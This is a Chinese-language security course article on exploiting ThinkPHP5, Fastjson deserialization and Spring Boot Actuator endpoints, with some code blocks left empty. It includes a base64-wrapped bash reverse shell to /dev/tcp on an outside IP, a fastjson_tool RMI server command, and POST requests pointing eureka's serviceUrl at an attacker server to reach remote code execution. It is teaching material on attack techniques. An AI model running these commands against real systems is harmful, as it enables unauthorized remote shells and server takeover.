本文内容来自蚁景网安课程
ThinkPHP5漏洞
ThinkPHP
ThinkPHP是一个快速、兼容且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持Windows、Unix、Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySQL、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。
应用
很多CMS(内容管理系统)就是基于ThinkPHP5二次开发的,所以出现漏洞会影响很多基于ThinkPHP开发的网站。
框架特征
历史漏洞
ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
ThinkPHP5_SQL注入漏洞&&敏感信息泄露
ThinkPHP3.2.3_最新版update注入漏洞
ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
ThinkPHP3.2.X_find_select_delete注入
ThinkPHP框架5.0.X_sql注入漏洞
ThinkPHP3.X_order_by注入漏洞
ThinkPHP5.X_order_by注入漏洞
ThinkPHP5.X_远程代码执行
漏洞检测
TPscan(Python3)
漏洞利用
ThinkphpRCE(Python3)
Fastjson漏洞
介绍
Fastjson是阿里巴巴开源的一款json解析器,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
json数据
json格式
|
|
有回显识别
通过不完整的花括号得到报错。
POST内容
|
|
无回显识别
|
|
利用
示例
java -cp fastjson_tool.jar fastjson.HRMIServer 139.9.198.30 1234 "要执行的命令“
bash -c {echo, bash -i >& /dev/tcp/139.9.198.30/1234 0>&1}|{base64,-d}|{bash,-i}
如果是反弹shell的命令,需要对其编码。因为管道符、输入输出重定向只有在bash环境下才能用,而在这里使用的是Java提供的命令执行环境,不支持管道符、输入输出重定向等,因此需要base64编码一下。
SpringBoot Actuator漏洞
介绍
Spring Boot是Pivotal团队在Spring的基础上提供的一套全新的开源框架,其目的是为了简化Spring应用的搭建和开发过程。
Actuator是SpringBoot自带监控功能Actuator,可以帮助实现程序内部运行情况监控,比如监控状况、Bean加载情况、环境变量、日志信息、线程信息等。
网站特征
Whitelabel Error Page
常见端点
名称 | 作用 |
---|---|
/autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
/configprops | 描述配置属性(包含默认值)如何注入Bean |
/beans | 描述应用程序上下文里全部的Bean,以及它们的关系 |
/dump | 获取线程活动的快照 |
/env | 获取全部环境属性 |
/env/(name) | 根据名称获取特定的环境属性值 |
/health | 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供 |
/info | 获取应用程序的定制信息,这些信息由info打头的属性提供 |
/mappings | 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 |
/metrics | 报告各种应用程序度量信息,比如内存用量和HTTP请求基数 |
/metrics/(name) | 报告指定名称的应用程序度量值 |
/shutdown | 关闭应用程序,要求endpoints.shutdown.enabled设置为true(默认为false) |
/trace | 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) |
实际案例
1.x版本:http://ip:port/env
2.x版本:http://ip:port/actuator/env
批量扫描
未授权到RCE
XStream反序列化导致的命令执行漏洞,前提条件:
可以POST请求目标网站的/env接口设置属性
可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖)
目标使用的eureka-client<1.8.7(通常包含在spring-cloud-starter-etflix-eureka-client依赖中)
目标可以请求攻击者的HTTP服务器(请求可出外网)
利用
步骤一:架设响应恶意XStream Payload的网站。
exploit.py
关键代码
|
|
|
|
执行
python3 exploit.py
步骤二:设置eureka.client.serviceUrl.defaultZone属性。
1.x版本
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://139.9.198.30:1234
2.x版本
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":" 139.9.198.30:1234 "}
步骤三:刷新配置
1.x版本
POST /refresh
Content-Type: application/x-www-form-urlencoded
2.x版本
POST /actuator/refresh
Content-Type: application/json